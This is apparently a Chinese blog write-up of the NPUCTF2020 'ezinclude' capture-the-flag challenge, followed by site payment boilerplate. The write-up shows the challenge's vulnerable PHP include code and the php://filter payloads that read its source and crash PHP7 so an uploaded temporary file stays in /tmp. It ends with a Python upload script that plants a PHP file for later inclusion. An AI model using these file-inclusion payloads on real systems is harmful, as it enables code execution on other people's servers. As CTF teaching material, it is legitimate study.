[NPUCTF2020]ezinclude 1

知识点:php7 segment fault特性:

php7 segment fault特性:

原理:向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,POST的临时文件就会被保留
php < 7.2
php://filter/string.strip_tags/resource=/etc/passwd

php7 老版本通杀
php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA

我们输入name,passwd传参
在这里插入图片描述
然后可以看到它返回的一个hash参数,然后再把hash写入passwd
在这里插入图片描述
利用伪协议来读fll文件

flflflflag.php?file=php://filter/read=convert.base64-encode/resource=flflflflag.php

<html>
<head>
<script language="javascript" type="text/javascript">
           window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
	die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>

是个文件包含,然后用PHP7的segment fault特性来在/tmp下创建包含phpinfo的临时文件,
在这里插入图片描述
然后flflflflag.php?file=/tmp/phpJzYDGk下找flag,要用bp抓包看

import requests
from io import BytesIO
url = "http://268a39e5-74d4-4096-a9b8-da2afe17409b.node4.buuoj.cn:81//flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
payload="<?php phpinfo();?>"
files={
    "file":BytesIO(payload.encode())
}
r = requests.post(url=url, files=files, allow_redirects=False)

print(r.text)

在这里插入图片描述

参考

1
2

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值